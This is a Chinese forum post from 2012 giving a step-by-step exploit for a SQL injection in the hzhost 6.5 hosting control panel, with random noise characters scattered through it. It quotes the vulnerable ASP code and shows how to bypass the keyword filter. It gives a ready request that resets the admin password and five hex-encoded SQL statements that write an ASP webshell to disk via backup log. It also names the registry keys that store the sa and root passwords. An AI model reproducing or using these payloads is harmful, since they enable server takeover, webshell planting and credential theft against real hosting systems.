找回密码
 立即注册
查看: 2624|回复: 0
打印 上一主题 下一主题

再爆hzhost6.5虚拟主机管理系统的SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 15:03:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这次继续爆hzhost6.5虚拟主机管理系统的SQL注入漏洞。
6 e' K. K  }# h, K) T) {  u 只讲两个要点。
' ]0 W9 V) j; d; E2 k% }. N* z第一,如何拿网站管理员权限。: I, s- _" V5 a. E! N
第二,如何备份木马。
" K" R0 u2 ?/ T. m 这次不是简单的注射点,而是经过安全函数过滤的了点。由于对方没有将变量用单引号包起来,而过滤函数又未过滤完全,导致我们有机会进行注射。
! v0 f/ L, }. X1 A* G  B 我这次还做了个动画。一并发放。希望能让大家玩得"happy"!哈哈。。。
$ {9 E7 P  I( M1 G& f  B) c" LhttP://www.xxbing.com QQ1787373153 K+ o% m4 x' w% N5 i8 G
由于我写了很长,而且很累了,所以希望大家回帖鼓励一下。
( V* q% P" }' {; ]3 _! V+ f------------开放浏览-------------7 S4 o5 {5 U) F# p1 w
漏洞存在于\hzhost\hzhost_master\control\ot2_mng\ot2_lst.asp文件中!# R4 ~* N0 S. K% v* v
-------------------------13-15行----------------------------" N  A& E, g& H5 |9 f  H* C
querytype=SafeRequest("querytype")  //saferequest函数接受数据/ G0 @  T% q! m. N6 E" u
if chk_int(querytype)=false then  //检查是否是整数6 u- u2 {6 G$ c2 r, l* \0 N- d4 R$ w$ a
    ErrMsg="<font color=#ff0000>对不起</font>,非法操作!..."/ i' f# {0 [! F1 f
-------------------------37-42行---------------------------6 G- d9 P+ p/ b& u& x5 L
elseif querytype=5 then //如果类型为5。就接受qu1数据!
9 C0 F8 {* I. c  G2 }   qu1=trim(SafeRequest("qu1"))      //saferequest函数接受数据,他自己定义的saferequest函数!- k5 J% L& p1 s, e$ C
   % q- x$ r" F7 P  e
    if  qu1="" then  //不能为空$ O" ]) }" D" g  b
         call errorpage(-2,"对不起,请选择参数!")
9 u7 e. }# x& [& A   end if         , V) d& |0 q8 C  e
      qstring=" and s_regstt="&qu1&" "  //这里是关键  qu1没有用单引号包围,虽然用了saferequest,但是我们可以绕过!( F( H3 V, C2 c9 q' A& i- t3 |
-------------------------62-65行---------------------------+ c$ x4 h  {! L5 _& t
qu7=trim(SafeRequest("qu7")) //saferequest函数接受数据
* `6 P' T2 r7 {" J. G& ?" N3 F0 p if qu7<>"" then9 b& [% e9 q, j, t; t0 z3 F4 c7 k
qstring2=" and u_nme='"&qu7&"'" //这里被单引号包围了。  这里被包围了,所以这里成了死点!!
1 l- ^; O9 c, Y( v# j' K0 I end if
1 A9 [% ?- Z) b --------------------------117行-----------------------------
1 ]3 o! n& T4 j# L query="select * from v_ot2lst where  (s_unme='"&session("usrname")&"' or u_fatstr like '%,"&session("usrname")&",%')    "&qstring&qstring2&"  order by "&orderstring / w: N) v2 n5 d- M
//到这里就丢进去查询了!
+ k0 }1 J% @# s6 s- b+ B! l" ?6 A
0 [# {4 L) }4 n$ C+ v 来看看saferequest()函数。0 r( y- t: D+ u- a' o4 I1 ?
------------------incs/config.asp中-------------------------. M% ^/ F0 e" X- M  f8 B
Function SafeRequest(ParaName) % t/ [# x" P" t3 M, C
Dim ParaValue
8 P* K$ Q) y1 m8 N' v ParaValue=Request(ParaName)  //获取数据
9 J  `" G0 Q) s4 j! G+ c if IsNumeric(ParaValue)  then  //如果是数字
! s8 r9 k5 e5 F* S SafeRequest=ParaValue  //那就不过滤,直接赋值
# u1 ?6 B$ T8 V; _ exit Function+ F, B; g. c1 f. a9 n

) D  D8 @! s2 g' H* R0 V else4 T  s) u9 w; D2 g/ P5 Y* r3 E
ParaValuetemp=lcase(ParaValue)    //如果不是数字,先把接到的数据全部转为小写
) V/ ]( M2 H- [- p tempvalue="select |insert |delete from|'|count(|drop table|update |truncate  |asc(|mid(|char(|xp_cmdshell|exec master|net localgroup administrators|net user| or | and |%20from"8 t4 d. |) v1 ~+ O2 e
//定义要过滤的字符!7 O) p6 ]% k0 `4 D. s

! c; S+ ]$ G0 B/ v4 b 他过滤方式有问题。。。没有过滤 * / % / -- / ;
$ X) i% [5 P; N# N0 D) u 而且他过滤的都是select+空格。我们用select%09或者select/**/便能饶过。
. w5 e) G: I3 n3 Q% u# t7 ~% \* ^, }& K9 w! r
temps=split(tempvalue,"|")           //转为一维数组. o. I5 w* r: t: m" S
for mycount=0 to ubound(temps)       //循环读数组内数据5 ~. _# Z1 H$ j2 @3 B
if  Instr(ParaValuetemp,temps(mycount)) > 0 then   //判断用户提交的数据是否包含了 非法字符。$ ?/ s1 B! e4 \# v+ R
                 call errorpage(-2,"非法请求!!!")  //如果有则弹出提示!!7 |! |  ~) O3 U9 k- m
                 response.end
' ]# F! t3 j  \3 k end if
( p+ g+ X9 W' `! h* s' J+ Z( W0 O: v next
. `& q, l+ M( v; q- z* J SafeRequest=ParaValue
) F+ ?' P4 w9 M, k9 D1 }3 S end if" U- R" _5 f& H1 X
End function
- H6 |; I$ K% U. a -------------------------------------
( V9 f+ N& U# [! O4 ]  A: y0 W+ M  J; T+ L" U& y# z, Y1 Z) F  Z2 K1 d
所以我们构造注射点的思路就是:不能出现单引号,update,select等等两边都要用%09(tab)..仔细看清楚。上面过滤的是update+空格。select+空格。
% v7 u0 w9 _; H: \/ r; P 先给出查询语句的框架。
& A5 N' W" ?) f$ v! C* l- nselect * from v_ot2lst where  (s_unme='username' or u_fatstr like '%,username,%') and s_regstt={我们的语句} and u_nme='1' order by s_addtme desc) T+ e! l4 O3 U' |" J0 `+ k! r
: Z, K3 D4 ~6 ?0 @; m% x3 e
为了使语句顺利执行:) ]8 W4 @, D" E( c5 h" K
我们还要闭合后面的语句。我没有选择注释掉 and u_nme='1' order by s_addtme desc而是闭合他,是因为注释后,实际查询出错了。9 ^' g& d- @& ^2 ]+ m6 ]
这里我给出条示范语句,即{我们的语句}1 @) P+ c$ I! D
UPDATE%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 WHERE u_nme=0x61646D696E
" _' C: s: h5 ]9 d8 K( R; a
- x: j" @: {- \8 b这条语句能够绕过saferequest函数的检测。没有出现单引号。) F) H/ P/ G8 e- }
我们提交:
3 L, }6 X, q( ~http://www.xxxxxx.com/control/ot ... amp;qu1=1;UPDATE%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 WHERE u_nme=0x61646D696E;select%09*%09from%09v_ot2lst where s_regstt=1;select%09*%09from%09v_ot2lst where s_regstt=1
/ T( P1 p/ R6 R; \) B" [0 d$ O( g2 |# R; g7 W) N
这句话就能够将admin的密码修改成1234563 h0 Y4 I9 g7 v) u
到此第一个目的就达到了。如果admin不是超级管理员。那么请看《HZHOST域名虚拟主机管理系统sql注射漏洞》中所提到的方法。相关语句请自己转换。( }  ]% ~1 m4 z# }
第二步是要备份挂马。
& d$ v; `( i! z0 _+ E 大家看动画中的备马这么简单,当初难了我老半天。saferequest过滤了char(
; R$ ^; z0 v/ m/ t+ q( Y" C 导致备马的这条语句失败。5 F+ {; f$ b# q5 ~+ [1 p
declare @a sysname,@s varchar(4000) select @a=db_name(),@s=。。。。。。。。。
6 J& e& w! i' P( ]  h+ R$ }5 e0 v% b" M  e# \
有人给我建议改成 @s ntext 等等,换类型都不行。因为我们插入的一句话木马已经固定了数据类型。。
9 N) }/ X( D$ {3 K6 | 由于mssql的宽松性。我把varchar(40000)中加了个空格。并把空格替换成%09成为 varchar%09(4000),也是可以的。这样我们就饶过了char(
+ E, b9 h; }4 Z/ d+ w 接下来放出详细语句。大家放入{我们的语句中}
' E/ `5 [; e0 b+ o8 _( k1 s+ q9 t第 一 步:8 G; x  c- o# _7 J. S
create table [dbo].[shit_tmp] ([cmd] [image])--2 H  ]  {( n; g- F: `. Z
第 二 步
: S2 {5 z+ T9 }: x9 E2 q declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate--
$ p9 R7 |& ]! \9 H 第 三 步
8 \  F/ \# @5 \) x% N insert%09into%09[shit_tmp](cmd) values(0x3C25657865637574652872657175657374282261222929253E)--
3 J1 U/ l9 t4 x$ p0 @ 第 四 步4 Z2 P  V5 N2 ~* t2 U6 ]; K
declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x44003A005C0068007A0068006F00730074005C0068007A0068006F00730074005F006D00610073007400650072005C0031002E00610073007000 backup log @a to disk=@s--# X5 O* _8 b7 S9 U' i) p# ^7 K- m
第 五 步
. E' U& C/ h5 { Drop table [shit_tmp]--# F0 ~$ i  k. S, L1 r

( J% w" D! a2 \. T; S 上面5句语句是在d:/hzhost/hzhost_master/下生成一个1.asp。里面包含了一个密码为a的一句话木马。
9 c) S; t8 _2 q4 O/ k 一般来说,我们就能拿到webshell. 至于拿webshell后,如何取得系统权限。
; P2 ^! }) }1 P# f 请看《对HZHOST域名虚拟主机管理系统sql注射漏洞进一步利用!》
8 `9 I0 s1 c8 t8 e. q: Q& O+ ^5 j$ T& P( _5 K) i( F1 X
最后是答疑部分:
# e+ e* Q0 E, O3 Z% F 1:这次是get注射,不像上次是post注射。由于没有文本框字符的限制,所以不需要保存网页到本地。
4 @: }! H7 L8 X
7 a+ C) Y' \+ u/ _# J 2:123456的md5(32)值为e10adc3949ba59abbe56e057f20f883e 用mssql 16进制转换后,成为0x65003100300061006400630033003900340039006200610035003900610062006200650035003600650030003500370066003200300066003800380033006500
) m' z5 R* F! t8 v6 z: q' r 这是转为nvarchar型的,我们直接更新这个值。会导致被更新用户的密码为乱码。所以我们要转成varchar型的。即:9 h" w* b, w! i
0x6531306164633339343962613539616262653536653035376632306638383365
1 h* s" o9 Y# W% z" h. B8 @2 F 大家仔细观察,会发现,其实只是去掉了一些00。。9 v8 [7 e2 {, z$ s* q
所以大家在转换其他md5的时候,注意此问题。( ^  g6 T* c* U6 D
  {2 x2 t/ C5 ^5 Z: k& j
3:读sa密码,root密码。我们读的是加密了的。还原必须在本机,每台hzhost主机都有自己的密钥,密钥参与到加密过程。这是导致A主机不能还原B主机密码的原因。
9 C9 D8 R7 c; ^8 s 另 hzhost虚拟主机平台的所有dll文件。还有一些注册表值我都已取得。有会逆向分析的高手,能做出还原密码程序的高手请联系我。我很希望把他的加密方式弄出来。
8 C* M& Q- T/ E* F2 ?9 S- y1 e# l2 p7 e! O1 Y
4:备马的问题,备份成功后,可能出现乱码,是由于截断了的原因,大家用NBSI3。去掉2个截断的勾,再生成语句执行就行了。6 |$ T0 ~; R4 p
有的服务器可能在备马的过程中出现SQL过期,超时。遇到这样的是对方数据库很大,这我也没办法。我没能找出一个比较好的解决方案。大家自己研究吧。
+ Q. v) _" K+ T. H! i: X
) J( M# G( Q5 t2 b 5:hzhost其实不只这一个注射点,没被单引号包围的变量还有一些。大家自己去找吧。我只是拿出一个来分析。
/ H) P4 u4 p; N
! d& n, o! j; s$ p  F 6::
( o+ k9 ^6 \  U  {7 C6 Jsa密码。root密码。
  d3 X4 h( B1 \8 e8 ~( x HKEY_LOCAL_MACHINE\software\hzhost\config\settings\
0 |+ Q6 x# G: }0 r* P6 t- p  v mysqlpass---root密码0 ?/ z( V% D& A. f$ ^% a0 X4 E
mssqlpss----sa密码
- g2 n) p' W: o& E% Y
2 k3 X) i5 M2 c8 _9 a* a  G
, Z4 y0 V5 D! ]$ V8 a 7.如果路径不在D:/hzhost
& q& V9 W2 p6 O/ b- A' y" I) c 那么就是你人品问题!进后台找找普通用户FTP/web的路径,也许会有些用。) E& H+ Q) B. o7 T2 p( Z4 i) ~
或者去读注册表。( ?/ O1 K5 M' d, Y
HKEY_LOCAL_MACHINE\software\hzhost\config\settings\ 下
0 U; g% R5 ^9 g. B  j "wwwrootpath"="e:\\wwwroot"
! [2 q  T( i2 Y5 {6 W5 E- F "urlsiteroot"="D:\\hzhost\\hzhost_url"
' Z* m) T9 \- y8 v# \5 h. _5 q "ftprootpath"="e:\\ftproot"   可以看出什么? 绝对路径放在注册表中。把注册表中的值更新到某个字段,再去读就行了。(比如用户e-mail中。。)
8 Z+ }% _7 a4 i# w5 a: [2 J 大家自己去试。我没有碰到不在D盘的hzhost.。只是个思路!6 a' p+ Z. P, ~0 m: G2 O$ W

" Y+ p' A4 S* A1 N4 r 利用动画下载地址(送给菜鸟同学们,能看懂文章的大不必下载,只是把文章的内容完全演示了一遍。)
/ W8 D! |+ M9 khzhost最新漏洞.rar; W0 g6 e2 ^) ]; `7 _' t
饿。纳米盘速度可能不咋地。但是由于偶的空间FTP坏了。所以,只能放到这里。抱歉啊!!$ t* W( M4 \5 D  h1 a' ^

% E) ?, i- w! H( } 最后,还是版权。; W5 x8 X/ O$ E6 G, v- M
http://www.xxbing.com QQ178737315* q% E' W3 Z+ C4 w& s+ E
允许自由转载。但请注明作者。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表